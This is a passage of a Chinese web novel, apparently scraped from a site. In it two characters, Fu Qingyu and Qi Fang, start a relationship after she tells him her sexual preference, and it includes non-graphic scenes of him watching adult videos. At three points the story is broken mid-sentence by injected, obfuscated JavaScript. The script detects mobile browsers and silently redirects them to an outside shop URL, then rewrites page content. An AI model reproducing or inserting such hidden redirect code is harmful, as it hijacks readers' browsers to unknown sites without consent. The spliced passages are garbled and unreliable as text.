祁放有些不情愿,又不好多说什么,转头跟李杨道了声谢,余光瞟向后排。付轻屿正在跟颜泠说话,表情平淡,看不出什么情绪。 李杨懵了下,点点头,心说:“祁放这么有礼貌,绝对不是颜泠的亲弟弟,脾气差太多。” 车上随机播放着流行音乐,三个老同学聚在一起,话题没断过。 祁放没吭声,不知道说什么,心里乱。他支起耳朵,听付轻屿说话,听她的语气。 可恶,他心里都快乱死了,付轻屿竟然像个没事人一样,有说有笑的。在密室里,可是她先亲的,她先动的嘴! 亲完就没下文了? 祁放皱眉,付轻屿也不说点什么,这好歹是他初吻啊! 以为他是什么随便的人吗? 以为他是想亲就能亲的吗? 没名没分,稀里糊涂的,他就这么给付轻屿亲了。 祁放一手撑脸,手指在脖颈的痕迹上摩挲,抿了下嘴唇。 他抬头看向车内后视镜,看不到人,想转头看付轻屿,又不敢,只好失落地收回视线。 付轻屿总是忽冷忽热。祁放害怕,怕她一时兴起,怕她觉得一个吻不算什么,越是害怕,就越想抓住些什么。 祁放抓住了付轻屿最后那个眼神,不管她之前为什么忽远忽近、忽冷忽热,那眼神里有喜欢。 亲他前,付轻屿说要好好聊一下……应该是要告白吧,要不然,也不可能亲他啊。祁放摆弄手指,想给自己两巴掌,要是他成熟点,当时能静下心来,说不定,现在都有名分了。 也怪颜泠! 她要是晚来几分钟,付轻屿能把话说了,他也能有名分了! 祁放给自己吃了颗定心丸——不管怎么说,付轻屿先亲的,她得给个说法。 直到下车,付轻屿都没跟他说话。 祁放烦闷,又想着车上还有两个大活人,付轻屿不好开口,沉默也合情合理。 颜泠下车时,付轻屿也跟着下来。 祁放眼神瞬间亮了,直勾勾地盯着付轻屿,丝毫没避讳其余两个大活人。 付轻屿跟颜泠说了声“再见”,绕到副驾驶坐下,一眼都没看他。 祁放压着眉头,眼里的亮光灭了。 肯定是因为颜泠和李杨在,付轻屿才不好开口,肯定是。 看来,付轻屿是打算发消息跟他说。 祁放抱着手机,左等右等,等了一晚上,也没等到付轻屿的消息。 绝对是在斟酌措辞,告白是件大事,付轻屿不可能随随便便敷衍他。说不定,今天就来找他,当面说清楚。祁放想着,又给自己吃了颗定心丸。 祁放几乎一夜没睡,爬起来就给自己一顿收拾。 “吆,大年三十给自己收拾得这么华丽。”颜泠倚着门框,喝了口酸奶,玩笑道,“怎么?春晚邀请你了?” 祁放捏着头发,没空理她,“我有事,你别管。” 颜泠给了他个白眼,“谁稀得管你。” 祁放把自己收拾好,一边守着手机,一边守着门铃。 “叮咚——” 祁放立即起身,冲沙发上瘫着的颜泠喊:“姐,你别动,我来我来。” 颜泠没接话,像看个傻子一样看着他。 祁放深呼一口气,带着不冷不热的表情打开门,“……爸?” “你这声爸,怎么还带拐弯的?”祁荣民搬了两箱年货,嫌他没眼力见,“你个臭小子,傻站着干啥,给你爸搭把手啊。” 祁放接过一箱,“怎么是你啊?” 祁荣民抬了下眼镜,听笑了,“哎?你这话说的,怎么不能是我啊?我回自己家,还不行了?” “行行行。”祁放归置好年货,继续等。 祁荣民说:“泠泠啊,你快过来尝尝,新出锅的蝴蝶酥,热乎着呢,你颜妈特意叮嘱我带的。” 颜泠从沙发上弹起来,“谢谢祁叔。” 手机震了下,祁放捞起来,发现是杨灿发的,敷衍着回了两句,继续等。 “叮咚——” “别动,都别动,我来我来。”祁放说着,人已经窜到门口。 祁荣民不解,“他这是怎么了?” 颜泠无奈耸了耸肩,“不知道。可能是过年了,脑子里放鞭炮呢。” “妈!”祁放像泄了气的皮球,一声鬼哭狼嚎后,接过她手里的鲜花。 颜利玫被他吓了一跳,“干什么啊,见到你妈这么激动。” “没事,过年了,太高兴。”祁放叹气,“你们怎么都不带钥匙?” 颜利玫甩甩手,“带了,抱着花不好拿。” 门铃再没响过,祁放等到了年夜饭,都没等到付轻屿来。消息断断续续地弹出来,没有一条是她发的。 祁放被亲后,有底气了,本来想矜持一把,等付轻屿主动找他。等了一天一夜,底气等没了,心里只剩慌乱。 再等下去,今晚又别想睡。 祁放实在忍不了了,主动给付轻屿拍了张年夜饭的照片,又带着些小傲娇,没多发一个字。 等了一个小时,对面都没回消息。 付轻屿不会想当做什么事都没发生吧?! 难道真是一时兴起,想亲就亲了? 吃完饭,祁放和祁爸收拾好厨房,顺手拎了个果篮,去找付轻屿讨说法。 大年三十不好打车,祁放就一直加小费,加到一个师傅接单了。 司机是个三十左右的男人,被家里催婚催的受不了,出来躲会儿。祁放上车后,听他家长里短地说了不少。 到地后,司机问:“还回北泉吗?回的话,我再给你带回去,不要小费。” 祁放:“我不知道要多久。” “没事,去吧,”司机点了根烟,“有人我就走,没人就等会你,我也不着急回。” 祁放点头,“谢了。” 付轻屿吃饱年夜饭,摸起手机,正好看到接连弹出的两条消息。 祁放:你在家吗? 祁放:我在你家楼下。 周围吵闹的声音淡化,付轻屿看着两条消息,呆愣片刻,拿起车钥匙,溜出外婆家。 开车十多分钟,付轻屿想了一路,还是没想出合理的解释。 她情绪失控下,确实亲了祁放。 这怎么解释? 总不能说,想亲就亲了,虽然她当时就是这么干的。 躲了一天,纠结了一天,在看到祁放的瞬间,付轻屿却平静下来了。 祁放蹲在花坛旁,用枯枝和果篮的彩带做了个简单的逗猫棒,正在陪一只狸花猫玩。 付轻屿轻轻唤了他一声,“祁放。” 狸花猫耳朵动了下,先一步窜到冬青里,藏了起来。 祁放动作一顿,放下逗猫棒,两手插兜站起来,表情冷冷的,显然是来讨债了。 一天一夜没见,两人都冷静不少,视线一碰,空气中炸出无措的味道。 祁放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966564|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咳一声,“你怎么……你怎么不找我?” 付轻屿脱口而出,“忙……” 两人沉默片刻,狸花猫探出头,将逗猫棒勾进冬青丛中。 祁放“嗷”了声,大年三十,忙也正常。 付轻屿躲了这么久,不想再逃避了,“那天晚上……对不起,我情绪不好,话说重了。做朋友,是因为你人挺好的,在一起相处也舒服,没别的意思……” 付轻屿偏头看向祁放,视线移到他脖颈上,痕迹已经消了,“不是吊着你,我比你更清楚,我们不合适。本来是想等你感情慢慢淡下去,想着你上了大学,能接触到更多女生。确实,我有些情绪没处理好,可能给你造成误导了……” 祁放开口打断她,“你昨天亲我了。” 付轻屿一时语塞。 要解释,就得有气势。祁放硬气道:“怎么说?” 付轻屿:“……氛围到了?” “……”祁放本来是一副冷酷傲娇的模样,等付轻屿给他解释。结果越听越不对劲,付轻屿亲完,翻脸不认人了,还想讲道理搪塞他。祁放眉心横跳,“氛围到了?现在氛围怎么样,到了吗?” “没有。”付轻屿抬手,揉了揉太阳穴。祁放要是能按她的规则走,那才是见鬼了。 “学生和工作不是一个圈子,年龄不合适,阶段不同。”祁放盯着她,“付轻屿,你还想拿这些搪塞我?” 付轻屿想说性向,不知道为什么,就是张不开口,“我说的圈子,不是这个圈子,我们不合适,你就非要问这么明白?” “对,我就想问明白。”祁放有些生气,说话还算平静,“你别亲完就翻脸,你是不是喜欢我?” “喜欢。”付轻屿无奈摊了摊手,加重了嘴里的每个字,“但我们不合适。” 祁放皱眉,“亲都亲了,你说不合适,你掐着我亲的时候,怎么没说不合适?” “我是4i。”付轻屿说完,全身松了股劲,反正事已至此,已成定局,全都随便吧。 祁放皱着眉头问:“四爱?什么四爱?你说明白点。” 付轻屿没敢看祁放,也张不开嘴。 冯适知道后的表情,付轻屿到现在都忘不了,那表情夹杂着不可置信、疑惑和恶心……但冯适还是抱住她,说了句,“我爱你。” 多可怕的爱啊。 太伤人了。 她当时竟然都信了。 上段感情反复推开、抱紧、解释、证明,耗费了太多心力。哪怕释然了,放下了,还是心有余悸。付轻屿确实怕了,不管是朋友还是爱人,她不想、也不敢再看到那样的表情。 祁放着急,“你说明白点,我真没听懂。四爱?怎么个爱法,我可以学啊。” 付轻屿听完,抬头看他,“除了这个,还有其他要问的吗?” 祁放想了下,摇摇头。 付轻屿垂下眼,转身离开,“我还有事,先走了。网上有,等我走了,自己查吧。” 祁放快步上前,拉出她的胳膊,将果篮塞过去,“付轻屿,新年快乐。” 付轻屿鼻腔一酸,嗯了声,“你也是。新年快乐。” 祁放:“我会好好查的,是不是我搞清楚了,学会了,你就跟我在一起?” 付轻屿抽回手,“话不用说这么早,你先查吧。” 祁放看她表情不对劲,那副微笑面具下隐隐透着伤心,“好。我就当你答应了,你去忙吧,路上注意安全。” 付轻屿没说话,点了下头。 祁放目送她离开,立即掏出手机,心说:“四爱,我倒要看看怎么个四爱!” 搜索词条下的文字解释,祁放一目十行,眼睛在前面跑,脑子在后面追。 等大脑反应过来时,祁放瞳孔一震。 啊?! 祁放二十年来的直男思想劈了个大叉,下意识挡了下前面,反应过来又挡住屁股,满脑子都是,“原来付轻屿想艹他?!” 34. 34 付轻屿接起电话,语气略带疲惫,“怎么了?” 付建林问:“开车走了?” “没,回家处理点事。”付轻屿顿了下,“工作上的。” 付建林看了眼客厅,七大姑八大姨聚在一块,吵闹得听不清话,“你外婆刚才问起你了,还回来吗?” “路上呢。”付轻屿咬了根烟,点着火。她脑袋被祁放搅得乱七八糟,一涨一涨的,已经快炸了,等会还得应对亲戚的家长里短,现在只想安静待会。 付建林没多说,叮嘱她注意安全,电话就挂断了。 车内安静下来,付轻屿瞄了眼时间,才过去十分钟。 十分钟,也够祁放查清楚了。付轻屿一时间有些茫然,将手机调到静音,祁放可别给她发什么观后感。 付轻屿已经不奢求什么了,这事能风平浪静的过去,她就谢天谢地了。再折腾下去,不管祁放什么感受,她真快疯了。 付轻屿在楼下散了散烟味,提着果篮上楼,做贼似得把果篮放到年货旁,才出声说了两句。 长辈们聚到一起,成绩、工作和对象是老生常谈的话题,每年都得拿出来嚼嚼。有些说辞,年年都有,几乎一模一样,他们开个头,付轻屿都能把整段背出来。 从小到大,付轻屿都不喜欢这个环节,用刘云岚的话说,以前成绩拿不出手,现在工作拿不出手。年纪成长起来,倒也看淡了,不管他们说啥,付轻屿都应着,动动嘴皮子的事,最省劲了,谁不会啊。 手机静音后,付轻屿有意无意地捞起来看两眼。工作微信上,都是节日关怀,大家趁此嘘寒问暖,联络联络人脉。 付轻屿回复一圈,该主动联络的,也联络了一遍。 始终没有祁放的消息,付轻屿这手机里就像埋了颗炸弹,不知道什么时候要炸,还是要瘫痪。 付轻屿泡在吵闹的客厅里,无奈叹了口气,年三十不好打车,不知道祁放回去了吗? 祁放触碰到了新世界,满脑子都是女攻男受,居然还能这样?! 怎么能这样? 祁放虽然跟娇生惯养搭不上边,但是成长至今,确实少经磨难,仅有的几根脑回路,断断续续,全都炸断了。本以为付轻屿在吊着他,结果,付轻屿是想上他…… 到家后,祁放将自己关在房间里,左右脑开始互搏。 怎么做都是做?做.爱最重要的是爱,男子汉大丈夫的,被压一下怎么了?又死不了。 一想到搜索‘4i’出来的文字,祁放跟通了电一样,全身打了个颤,电流直击大脑。 文字都是科普为主,真滚到床上,那是个什么场景,祁放还真想象不出来。不过,一想到付轻屿要……要摸他那个地方,祁放耳根子都熟透了,就连怎么一头撞死在床上,他都想好了。 太羞耻了。 祁放摇摇头,不行不行,这哪能行?直接杀了他算了。 但是,付轻屿喜欢的话,这个做法,肯定有什么过人之处吧? 祁放在床上挣扎半天,坐起身来,打开电脑,决定详细了解一番——找个片儿。 费尽九牛二虎之力,终于让他扒拉到了三个视频。祁放叹气,“真难找啊。付轻屿从哪发掘出来的?” 祁放做了几个深呼吸,点开第一个视频。第一帧好像是个背部画面,还没等他反应过来,一鞭子落下,在他耳朵里炸开花。 祁放吓的,手忙脚乱按了暂停键,画面中的腰背上多了条红痕。 啊?哈! 祁放半天没缓过神来。这是啥?这对吗?这是不是找错了? 科普里没说这一条啊。 做的那几个深呼吸,显然是做少了,祁放去给自己接了杯水,压压惊。难道付轻屿不仅想要上他,还想要抽他? 祁放盯着电脑里的画面,看都看了,不弄明白,岂不是全白费了。他视死如归地走到电脑前,啪一下点开了,人又往后退了半米远。 影片不到十分钟,祁放全程像是老爷爷看手机,眉头都要拧成麻花了。视频停止的那一瞬间,他终于松了口气,别说激起什么欲.望了,全程听着那个男主鬼哭狼嚎,真怕他死在电脑里,太吓人了。 女主在男主身上用的各种道具,特别是后面塞了个吓人的大家伙,一直震,简直就是酷刑啊。祁放急忙将这个视频删了,看出阴影了。 付轻屿不能这样对他吧?仇人也不至如此啊。祁放在房间里直打转,连连摇头,不可能的,付轻屿不是那样的人,不可能的…… 第一个视频绝对有问题,绝对是整人的。 祁放重新做好心理建设,缓了将近一个小时,才战战兢兢地点开第二个视频。 前面经历了大风大浪,祁放竟然觉得第二个视频还挺温馨的,就是男主叫得让人受不了,同为男人,祁放实在听不了这声音,有点犯恶心,干脆就把耳机摘了。 没了声音,只剩画面,看着也没什么感觉,像是做指检。 祁放看走神了,想了下,实在不明白那种声音是怎么发出来的,他这辈子都吭叽不出来。要是让他在付轻屿面前喘成那样,不如杀了他算了。 祁放回过神来,屏幕里的两个人变成了三个,吓的他一激灵,差点一拳头打到电脑上,紧急暂停,删视频。 这都是啥?就没个正常点的? 祁放看着最后一个视频,面面相觑了半小时,他大概知道是怎么回事了,不太想看了。 前两个视频太神经,别说能不能接受,他三魂都吓没了两魄。 祁放站起身搓了搓头发,想着,反正最后一个了,看都看了,万一呢。 到底在万一什么,祁放也不知道,就是不想放弃,想钻到个什么空子里,拧着的那根劲就能松快了。 第三个视频就一分多钟,祁放闭眼沉思,就这一分多钟,他就不信了,还能搞出什么东西来创死他。 犹豫两秒后,祁放摸着耳机,把最后一个视频点开了。 没什么声音,两人的呼吸声比较重,祁放摸着耳机的手不敢松懈,他可不想听男人喘了。 视频全程没什么动静,光线也比较昏暗,看不清脸,女主穿戴整齐,腰上绑了皮带样式的东西,链接着工具。男主穿了件上衣,被女主压在沙发上,该漏的地方都没漏。 只有碰撞声,呼吸声,和男主的颤栗。 这应该是正常的吧? 前两个视频冲击太大,祁放竟然觉得,如果是付轻屿对他做最后这个,好像……好像还能接受。 但是他这心里拧着滚,就是觉得哪里不对劲,一时间又没法完全接受。他不知道找谁开导,这种事也没法跟别人说。 祁放折腾了一晚上,年初一吃完饺子,才回房间睡觉。 睡觉也睡不安稳,可能是昨晚大脑受到太多刺激,祁放做了个梦,梦到他和付轻屿吃饭,半路杀出个看不清面貌的男人。 “你接受不了,有的是人能接受。”无脸男跟他说完,牵着付轻屿的手就要走,头还往她身上靠,娇气地说,“不管他了,我们去做嘛。” 祁放拦了下,没拦住,瞬间吓醒了,心里那股拧着的劲也跟着散了。 别扭个屁! 别扭能消,付轻屿要是跟别人走了,就啥都没有了。 祁放彻底想明白了,比起心里的那点别扭,他更接受不了付轻屿跟别人走。要说付轻屿跟别人做这种事,绝对不行!其余那群狗男人想都不要想! 连着两天晚上没怎么睡,祁放想开后,头脑一沉,痛快睡了觉。中午吃饭时,颜利玫叫了他一遍,见人没醒,就没再管。 祁放睡到下午三四点才爬起来,醒了就去洗漱收拾自己,等吃完晚饭,再去泉州找付轻屿要名分。 付轻屿还是太坏了,她多哄两句也好啊,就这么直接把问题丢给他,还要他回来自己消化,自己接受,祁放这心里想想就开始泛酸水。 幸亏泉州跟北泉离得近,四十来分钟就到了。 祁放直接给付轻屿打了个电话,没人接。 付轻屿没敢接,看着手机息屏,松了口气,下一秒,屏幕又亮起来,弹出条消息。 祁放:我在楼下。 祁放:来要名分了。 祁放:你亲都亲了,别耍赖。 付轻屿看着三条消息,头脑发懵。祁放能接受?! 付轻屿呆愣两秒后,立即对着镜子收拾一通,抄起大衣。打开房门时,正对上刘云岚的视线,她顿了下,“颜泠过来了,我们出去逛逛。” 刘云岚嗯了声,继续看手机。 付轻屿心急火燎地出门,快步走出电梯,离大门口越近,却越迈不开步子。 可以吗?祁放不是这个圈子的,他以后怎么跟家里说,万一…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966565|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “付轻屿。” 付轻屿愣了下,转过头看去,“你……你怎么从那边过来的?” “等得着急,转了下。”以免付轻屿再讲些大道理,祁放先发制人,“你昨天说的4i,我回去查了。你先说好了,是不是我能接受,咱俩就在一起?省的你说话不算数。” “你查明白了吗?”付轻屿真不知道说点什么好了。 “不就是你、你那什么我吗,我不动你。”祁放偏头不看她,“不过,我有个小要求,你别抽我。” 付轻屿点头:“你说,什么小要求?” 祁放看她,“你别抽我啊,也别给我上刑具,那些东西太吓人。” 付轻屿反应了一下,蹙着眉头,无奈笑了下,“你都看什么了?” 祁放看她笑了,有底气地哼了声,“我又不知道怎么弄,你倒好,说完就跑,我只能自己找影片看啊。” 付轻屿瞧着祁放,总感觉太久没看他了,有些看不够,“不是说完就跑,我没想着……” 祁放问:“没想着什么?” “没什么?”付轻屿摇头,又问,“你真的想好了吗?这个……” 祁放急忙打断她,“我想的不能再清楚了,倒是你想不清楚。我都上了半年大学了,什么样的女生都见过了,我知道自己想要什么。我上学,你上班,这是没办法的事,我也不想比你小五岁。还有床上那事,如果是你的话,我觉得好像也没啥。我昨天想了一晚上,想的不能再明白了,我可能一下子没法完全接受,需要点时间消化。” 付轻屿笑笑,心口都被他这些话捂暖了,哪还有什么理由再躲。 “祁放。”付轻屿看着他,认真地说,“我只问这一遍,你真想好了?” 祁放点头,坦坦荡荡地说:“我百分百想好了。我都来找你了,还有什么想不好的。” 付轻屿心理防线彻底被他攻破了,“过来,我确定一下。” 祁放两手插兜,大步走到她面前,还没等开口,嘴唇被付轻屿飞快盖了个章。 “你别老是亲我啊。”祁放被她撩得不好意思,看了看四周,见没有人,心跳才平复些,“你倒是说点什么啊?” 付轻屿叹气,“我不知道你还想听什么啊,男朋友。” 祁放傻愣住,付轻屿眉眼弯着,那抹笑容太纯了,看得他心里发麻。 付轻屿勾了下他的手指,“男朋友,牵不牵手?” 祁放闻言,先是握住她的手,又换成十指相扣。“我怎么感觉跟做梦一样呢,你不会到明天又翻脸不认人了吧?你上次亲完就这样。” 付轻屿也感觉心里发飘,听完他这话,又忍不住笑,“我是不是得跟你签份合同,盖个章,你才能安心啊。” 祁放倒是觉得这个主意不错,“行吗?” “行什么行?”付轻屿笑,“你是不是傻了?” 祁放将付轻屿的手揣进口袋,七上八下的心才落到实处,开心的想哭,“还不是被你忽悠的?” 付轻屿看他那委屈的小模样,心里也软的不像样,“不骗你了,低头,再给你盖个章。” 祁放瞧了眼四周没人,这才低头给她亲了口,心里满足了,“你好喜欢亲我。” 付轻屿捏捏他的手,“我要喜欢亲别人,那也不对吧。” “当然不对!你别想。”祁放皱个小眉头,“我吻技不好吗?密室那次,我初吻哎,你也不夸夸我。” 付轻屿笑了下,醉酒那次才是初吻,不过祁放这辈子都不会知道了,她可不打算说。“你会什么,笨死了。” 祁放不服气,“哪笨了,我明明天赋异禀。” 付轻屿拉着他往外走,没忍住笑,“好好好,天赋异禀。”谁叫她这个师父教得好呢。 祁放紧挨着付轻屿走,歪头蹭蹭她的脑袋,差点给人挤到绿化带里。 付轻屿捏他一把,“好好走。” “嗷。”祁放在她头上亲了下,心里迷迷糊糊的,又问,“去干啥呀?” 付轻屿面色平淡:“大晚上的,你说去干啥?” “嗯?”付轻屿一本正经地说这话,祁放脑子里拐了个弯才反应过来,“啊?你给我点时间缓缓啊,我还没准备好,你这也太快了。我害怕,你不会是想睡完,明天就不要我了吧?” “闭嘴,”付轻屿拍了他一下,“快走。” 35. 35 祁放接过草莓圣代,两眼往四周扫了圈,年初一的商场比平常还要热闹。他看向付轻屿,闷闷地说:“来吃冰激凌啊?” “不然呢,”付轻屿笑笑,“我真带你去开间房?” 祁放都给自己做好心理建设了,听她这么一说,倒有些不开心,小声嘟囔:“那你刚才不说?” 付轻屿带他去休息区,找了个长椅坐下,“谁叫你瞎想。” 休息区人少,两人坐在角落不显眼的位置。 上一段感情谈成地下恋,每次出去都要找个最不起眼的地方,适当保持距离,才能心安,付轻屿无意识地保留了这些习惯。 祁放凑到身边时,付轻屿惊了下,随后才反应过来。 “我要吃口你的。”祁放看看她,又示意她手里的冰激凌。 “一个味道的。”付轻屿将他炸起的头发顺了下。 祁放以为付轻屿要摸他头,还往人手里拱了拱,“我就想尝口你的。” 付轻屿拗不过,给他吃了口。 祁放心里满足了,开始卖乖,“比我的好吃。” 付轻屿笑他,“瞎扯,一个味的。” 祁放摇头,“你喂的,肯定更好吃啊。” “腻歪,少油嘴滑舌的。”付轻屿虽然嘴上这么说,其实心里还挺受用的。 祁放哼了声,“这还没一个小时呢,你就嫌我了,你咋这样?” “没。”付轻屿说,“快吃你的,一会都化了。” 祁放闷声说:“化了我喝汤。” 付轻屿没吃几口,转头看到个受气包,无奈叹口气,捏了捏他的手。 祁放反手把她握住了,没说话。 静静坐了会,付轻屿问,“什么时候开始的?” 方才一见面,她整个人都是迷迷糊糊的,太亢奋了,现在冷静下来,才发现还有好多话想问。 祁放揉捏她的手,“第一次见面。” 付轻屿一脸吃惊地看着他,“没跟你开玩笑。” 祁放将她的话拿过来,“没跟你开玩笑。” 付轻屿有点不敢信,关于祁放是从哪一步走歪的,她想过很多,躺床垫那次,或是在医院的时候,还是看恐怖片那晚……没想到,这小子从一开始就没正过。 回想最开始那段时间,她还想当人家‘亲表姐’,结果这小子盯上她了。哪是什么自来熟啊,完全是奔着攻略她去的。 “你呢?”祁放问,“你什么时候开始的?” 付轻屿摇头:“什么时候开始的,我也不清楚了。你跑到我家门口蹲着,撞到头那天,心里确定了。” “你那个时候怎么不说明白?” 付轻屿看他,笑了下,“我要是跟你一样,脑子里面只有行跟不行两条路,其他的都抛到一边看不见,那就好了。” 祁放能懂她是怎么想的,毕竟那些大道理三番五次地念,他再不懂,真就少根劲了。 “这可是我自己选的,我不是小孩了,你不用忧心别的。”祁放说这话给她宽宽心,虽然现在扯到两边家庭有点远,但他心里已经想到这步了。不管付轻屿怎么想的,他都想说出来,给她松松劲。 付轻屿笑了笑,没说话,把玩着他的手指。说祁放小孩性子吧,有的时候,他说话做事又让人心里踏实。 祁放拿着付轻屿的手跟自己比,差不了太多。 付轻屿的手稍微小一点,能隐约看到青绿色的血管,不算明显,手指修长白净。 祁放捏着她的指关节,嘟囔道:“这么长,全放进去能行吗?” 嘴在前面说完,脑子才追上来,祁放摸着她的手,一下也不敢动了。这手一下子就不是手了,变味了。 两人都愣住了,半晌,付轻屿笑着看他:“明示我?” 祁放急忙握住她的手,揣进口袋藏起来,“我没有。” 付轻屿不说话,嘴角勾笑,故意盯着他看。 祁放哪经得住,急忙转移话题,“IKI品牌续约,老莫说你拒绝了,是不是因为我啊?你相亲那次,咱俩不是吵架了吗,然后就听……” “有一点点是因为你,”付轻屿打断他,“主要是想要跳槽,放心吧,我没那么傻,不跟你似的,一生气就变成炸药包,理智全都炸没了。” 祁放心里舒坦不少,靠在她身上,“还以为你烦我烦的,连工作都不要了。” 付轻屿还没等说话,手机铃声先响了。 看到冯适两字,祁放“噌”一下就坐直了,幽怨地看着付轻屿,“不接啊,万一有事呢。” 付轻屿没动,“能有啥事,也就道个新年快乐。” 没有啥事,就更不对了!祁放的醋劲说来就来,也不靠着付轻屿了,两手揣兜里,靠着长椅坐直,“没事还给你打电话。” 付轻屿这电话接也不是,不接也不是。 还没等她决定好,电话铃声断了。 付轻屿伸手,想碰碰他的脸。祁放跟头倔驴一样,歪着头,不给摸了。 “一些活动和晚会,工作上难免会有交集,就没想着拉黑删除,我也没那个习惯……” 付轻屿还没说完,电话又响了。祁放也不说话,就死死盯着她,一脸怨夫模样。 身正不怕影子歪,付轻屿抬手接了。 冯适:“没打扰到你吧?” 付轻屿看了眼祁放,才问:“什么事?” 付轻屿右手接的电话,祁放在她左边,听不到。他伸手抱住付轻屿,从背后贴过去,随时准备朝电话呲牙。 冯适:“工作有安排了吗?” 付轻屿心里约摸个大概,“还没,不着急。” 冯适嗯了声,“《看点》那边空出一个主持位,你有意向吗?我跟制片人认识,帮你举荐一下?” 祁放听完,醋劲没了。工作上的事,他帮不上什么忙,再闹就太没意思了。他撤到付轻屿左耳,小声说了句,“我觉得挺好的,想去就去。” 付轻屿拍拍他的手臂,继续跟冯适说:“不用了,我手里有个时尚红毯的主持,上半年想着参加青峰卫视的主持人海选。费心了。” “行。”听她有安排了,冯适没再说工作上的事,“新年快乐,最近挺好的吗?” “同乐。挺好的。” 付轻屿没往下递话,冯适沉默了会,“那就行,在泉州吗,还是江城?” “在泉州。”付轻屿问,“怎么了?有事?” 冯适:“没。想着过年了,问个好,联络……” 祁放听冯适要说闲话,转头在付轻屿脸上亲了口,故意“啵”了声,又冷冷发问:“还没说完啊?” 付轻屿左耳是祁放的呼吸声,右耳是电话里微妙沉默夹杂着些许电流声,她夹在中间,真有点懵了。 冯适问:“男朋友?” 付轻屿嗯了声,“祁放,你之前见过。” 冯适笑了下,听不出是喜是忧,“那不打扰了。” 祁放收起狐狸尾巴,转身坐好,把化掉的冰激凌都吃了。 付轻屿还没缓过劲,祁放又问:“你那个相亲对象,咋办?” “那个人啊,”付轻屿看着祁放,总想逗他,“你说咋办。” 祁放拿不准她的意思,压着眉头问:“你这话说的,还想收个二房怎么的?” 付轻屿笑:“都是应付家里,吃了一顿饭,再没联系,我还能咋办。” 祁放压了压扬起的嘴角,“行吧,那就不管他了。” 两手握着,热乎得不行,付轻屿心里舒坦了,说了不少工作上的规划,祁放听着,也开始讲下学期的事。 大一课多,乱七八糟的活动也多,祁放规划着时间,现在可是男朋友的身份了,不用‘上四休三’。 付轻屿看时间太晚,打算开车送他回去。祁放不让,自己打了车。 “我不想回去。”祁放拽了两下付轻屿的手,“去开个房算了。” 付轻屿看着祁放,真不知道他是缺心眼,还是故意的,“一晚上明示三次,你当我是尼姑啊,能四大皆空、清心寡欲。祁放,给你透过底,我这人也挺没自制力的。没事少撩拨,忍不住给你压了,再哭都晚了。” 祁放真让她这话烧着了,“我不是那个意思,我是说,我自己开个房去。” 他心理建设了不少,真想到滚床上那场景,心里还是发毛。付轻屿把这事点出来,他倒开不出玩笑了。 付轻屿在他心口拍了下,“是这么想的吗?” 祁放心虚地揉揉鼻子,学精了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966566|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不让撩拨,我可不能再说了,省得你起火。” 付轻屿就知道他没想好事,“亲亲抱抱,再睡个素的。” 祁放这下真站不住了,做贼似地左右瞧瞧,“你怎么就说出来了?!” 怎么就把他心里想的拎出来了?! 付轻屿抱住他亲了下,“行了,自己回去睡个素的吧。” 祁放被迷得一愣一愣,快速歪头给她盖了个章,“你要是敢对别人这样,我……我就死你面前算了。” 吻都吻过了,今天啄这几下,在他心里挠火,可惜在路边站着,来往都是人,再大的火都得往下压。 付轻屿玩笑道:“行了,小獠牙快收一收吧,等会再吓到司机师傅。” 前些日子的焦躁不安还没消干净,亲也亲了,抱也抱了,付轻屿就在身边站着,他这恋爱谈的,都不知道开了几倍速,可心里就是没底。 临上车前,祁放特认真地说:“咱俩今天可在一起了,等明天,你别想翻脸不认人。” 付轻屿给了他个脑瓜崩,“心放肚子里,男朋友。” 祁放摸了摸脑门,挺疼的,没做梦,这才安心上车。 付轻屿也传染上了祁放的傻里傻气,回到家时,脸上还挂着笑。 刘云岚正在客厅看电视,迎面对上视线,付轻屿不仅对她笑了下,还说了两句有的没的。 刘云岚看她回卧室,自己愣住了,半晌才回屋,小声跟付建林说:“那个小没良心的,刚才居然冲我笑了,还说了两句乱七八糟的。” 付建林视线从书上移开,看了刘云岚一眼,“高兴了吧。” 娘俩关系,从剑拔弩张蜕变成半紧张状态。在刘云岚面前,付轻屿一直是不死不活的样子,多少年没露过笑脸了。 “我高兴什么高兴。”刘云岚嘴上这么说,心里却不自然的美了下。 付建林笑笑,没说话。 “你说,她这次回来,是不是打算留家里了。”刘云岚坐在付建林身边琢磨,“那个主持人的工作,我看是黄了,好几个月没看到她主持了。” 付建林看着书,漫不经心地说:“说不准是转别的节目了,你别瞎操心了,孩子都这么大了。” 